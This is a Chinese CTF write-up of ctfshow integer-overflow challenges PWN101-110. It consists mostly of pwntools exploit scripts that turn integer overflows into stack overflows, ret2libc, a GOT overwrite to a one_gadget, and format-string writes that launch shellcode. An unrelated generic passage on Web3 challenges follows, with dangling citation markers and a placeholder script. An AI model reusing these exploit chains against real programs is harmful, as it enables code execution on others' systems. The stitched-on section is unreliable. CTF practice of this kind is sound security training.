ctfshow 整数溢出--[101-110]

PWN101

int useful()
{
  puts(" ====================================================================================================");
  puts("           Type         |      Byte      |                          Range                            ");
  puts(" ====================================================================================================");
  puts("      short int         |     2 byte     |                  0~0x7fff 0x8000~0xffff                   ");
  puts("   unsigned short int   |     2 byte     |                        0~0xffff                           ");
  puts("          int           |     4 byte     |             0~0x7fffffff 0x80000000~0xffffffff            ");
  puts("    unsigned int        |     4 byte     |                        0~0xffffffff                       ");
  puts("      long int          |     8 byte     | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff");
  puts("   unsigned long int    |     8 byte     |                    0~0xffffffffffffffff                   ");
  return puts(" ====================================================================================================");
}

这里的0 ~ 0x7fffffff就是 0~2147483647

0x80000000 ~ 0xffffffff就是 -2147483648 ~ -1

输入

-2147483648 2147483647

PWN102

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  logo();
  puts("Maybe these help you:");
  useful();
  v4 = 0;
  printf("Enter an unsigned integer: ");
  __isoc99_scanf("%u", &v4);
  if ( v4 == -1 )
    gift();
  else
    printf("Number = %u\n", v4);
  return 0;
}

有符号和无符号比较时,会把有符号转换成无符号类型,-1 对应的二

进制表示为 0xFFFFFFFF,也就是 4294967295

PWN103

输入 0 ,-1

PWN 104

ru(b"How long are you?")
sl(b"-1")
ru(b"Who are you?")
system_addr = 0x40078D

payload = b"a"*(0xe+8)+p64(system_addr)
sl(payload)

PWN105

char *__cdecl ctfshow(char *s)
{
  char dest[8]; // [esp+7h] [ebp-11h] BYREF
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Authentication failed!");
    exit(-1);
  }
  printf("Authentication successful, Hello %s", s);
  return strcpy(dest, s);
}

这里的v3是int8类型,说明是一个字节大小,对应的二进制范围是0~1111 1111,十进制是0~255,当我们输入的字符串内容长度大于255时又从0开始计算。即256对应大小为0,257对应大小为1,因为v3要大于3小于8,所以我们的长度可以为 260

system = 0x804870E
ru(b"[+] Check your permissions:")

payload = b"a"*(0x11+4)+p32(system)
payload = payload.ljust(260,b"a")
sl(payload)

PWN106

和PWN105一样

ru(b"Your choice:")
sl(b"1")

ru(b"Please input your username:")
sl(b"aaaa")

ru(b"Please input your passwd:")
payload = b"a"*(0x14+4)+p32(0x8048919)
payload = payload.ljust(260,b"a")
sl(payload)

PWN107

输入 -1 即可栈溢出

ru(b"How many bytes do you want me to read? ")
sl(b"-1")

ru(b"bytes of data!\n")

printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main_ret = elf.sym['main']

payload = b"a"*(0x2c+4)+p32(printf_plt)+p32(main_ret)+p32(printf_got)
sl(payload)
printf_addr = u32(io.recvuntil(b'\xf7')[-4:])
libc = LibcSearcher("printf",printf_addr)
libc_base = printf_addr-libc.dump("printf")
system = libc_base+libc.dump("system")
binsh = libc_base+libc.dump("str_bin_sh")
print("libc_base---------------------->: ",hex(libc_base))

ru(b"How many bytes do you want me to read? ")
sl(b"-1")

ru(b"bytes of data!\n")

payload = b"a"*(0x2c+4)+p32(system)+p32(main_ret)+p32(binsh)
sl(payload)

PWN108

puts函数是一个高级函数,也就是执行这个函数过程中会调用一些其他函数,例如strlen()函数

如图为puts函数汇编代码开头一部分,puts函数又调用了strlen函数,也就是在libc中执行puts函数时,又通过strlen函数的got表跳转到了strlen函数。

我们去劫持strlen函数的got表为one_gadget即可

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int i; // [rsp+8h] [rbp-28h]
  int j; // [rsp+Ch] [rbp-24h]
  __int64 v6; // [rsp+10h] [rbp-20h]
  char v7[3]; // [rsp+25h] [rbp-Bh] BYREF
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  sub_9BA(a1, a2, a3);
  sub_A55();
  puts("Free shooting games! Three bullets available!");
  printf("I placed the target near: %p\n", &puts);
  puts("shoot!shoot!");
  v6 = sub_B78();                //输入我们要打的地址,由于里面有atol函数转化为数字,所以不能用p64,要有str()
  for ( i = 0; i <= 2; ++i )
  {
    puts("biang!");
    read(0, &v7[i], 1uLL);               //接受3个字节
    getchar();
  }
  if ( (unsigned int)sub_BC2(v7) )         //这是个check不允许数组的前两个元素同时为 0xc5 和 0xf2 ,或者 0x22 和0xf3 ,或者 0x8c 和 0xa3简单来说就是限制了gadget:
  {
    for ( j = 0; j <= 2; ++j )
      *(_BYTE *)(j + v6) = v7[j];    //修改指定内存地址的低 3 个字节
  }
  if ( !dlopen(0LL, 1) )               //测试程序是否能够正常使用动态链接功能
    exit(1);
  puts("bye~");                     //会调用strlen
  return 0LL;
}

这里泄露了puts函数的地址,相当于拿到了libc基址。也就是任意地址任意写。

在这里插入图片描述

这里可以拿到j_strlen的偏移是 0x3eb0a8 ,然后打one_gadget

ru(b"I placed the target near: 0x")
puts_addr = int(r(12),16)
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump("puts")
strlen = libc_base+0x3eb0a8
one_gadget = libc_base+0xe54fe
print("libc_base-----------------_>: ",hex(libc_base))

ru(b"shoot!shoot!")
sl(str(strlen))

for i in range(3):
	ru(b"biang!")
	sl(p8(one_gadget & 0xff))
	one_gadget = one_gadget>>8

PWN109(fmt)

有格式字符串,利用格式字符串来打

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='i386', os='linux')
# context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
# io = remote("pwn.challenge.ctf.show",28276)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23_64.so")


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

def inp(data):
	sla(b"Quit!!!",b"1")
	ru(b"\n")
	sleep(0.3)
	sl(data)

def fmt():
	sla(b"Quit!!!\n",b"2")


payload = b"aaa.%8$p"
inp(payload)

fmt()

ru(b"aaa.0x")
stack_addr = int(r(8),16)
stack_ret = stack_addr-0x24
print("stack_addr-------------->: ",hex(stack_addr))

payload = p32(stack_ret)+p32(stack_ret+2)+b"%"+bytes(str((stack_addr+28)&0xffff),"utf-8")+b"c%16$hn"
payload += b"%"+bytes(str(((stack_addr>>16)&0xffff)-(stack_addr+36)&0xffff),"utf-8")+b"c%17$hn"
payload += b"aa"+asm(shellcraft.sh())

inp(payload)
print("stack_addr-------------->: ",hex(stack_addr))


# gdb.attach(io)
fmt()


itr()

PWN110

泄露栈地址,改返回地址为栈地址,然后写shllcode。

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='i386', os='linux')
# context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
# io = remote("pwn.challenge.ctf.show",28276)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23_64.so")


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

ru(b"1+1= ?\n")
sl(b"-1")

payload = p32(0x804887D)+b"a"*(0x41b)+p32(0x0804887D)
sl(payload)

stack = int(r(8),16)
print("stack--------------->:",hex(stack))

ru(b"1+1= ?\n")
sl(b"-1")

payload = asm(shellcraft.cat('/ctfshow_flag'))
payload = payload.ljust(0x41b+4,b'a')+p32(stack-0x10)
sl(payload)

itr()
### CTFShow Web3 挑战及解题思路 #### 关于CTFShow平台的特点 CTFShow是一个提供多种信息安全挑战的在线平台,旨在帮助参与者提升技能并积累经验。该平台上不仅有常规的信息安全竞赛题目,还有专门针对不同技术领域设计的任务,比如Web应用安全测试等[^1]。 #### Web3挑战概述 对于Web3类型的挑战,在CTFShow上通常会涉及到区块链技术和智能合约的安全审计方面的问题。这类问题可能包括但不限于: - 发现和利用智能合约中的逻辑漏洞; - 对抗基于去中心化应用程序(DApps)的身份验证机制; - 处理加密货币交易过程中的安全隐患。 #### 解决方案的一般方法论 当面对一个具体的Web3挑战时,可以遵循如下策略来寻找解决方案: ##### 分析给定材料 仔细阅读题目描述以及任何附加文件或提示信息,理解目标环境的具体情况及其工作原理。这一步骤有助于确定攻击面所在位置,并为后续步骤奠定基础。 ##### 探索潜在弱点 通过查阅官方文档或其他权威资料了解所使用的框架和技术栈特性,识别其中可能存在风险的地方。例如,在Solidity编写过程中容易犯下的错误像整数溢出、重入等问题都可能是突破口之一。 ##### 利用现有工具辅助分析 借助专业的静态代码审查软件(如Mythril)、动态调试器(Remix IDE内置功能),甚至是一些自动化渗透测试套件来进行更深入的研究。这些工具有助于快速定位可疑之处并验证假设的有效性[^3]。 ##### 实施针对性措施 一旦确认了某个特定缺陷,则可以根据实际情况采取相应的行动——无论是构造特制输入触发异常行为还是绕过某些保护机制实现未授权操作。值得注意的是,在实际比赛中应当始终遵守主办方设定的比赛规则,不得从事非法活动。 ```python # 这里仅作为示例展示如何使用Python脚本与以太坊交互 from web3 import Web3, HTTPProvider infura_url = "https://mainnet.infura.io/v3/YOUR_INFURA_PROJECT_ID" web3 = Web3(HTTPProvider(infura_url)) contract_address = '0xYourContractAddress' abi = [...] # 合约ABI定义 contract_instance = web3.eth.contract(address=contract_address, abi=abi) # 调用合约函数... result = contract_instance.functions.someFunction().call() print(result) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值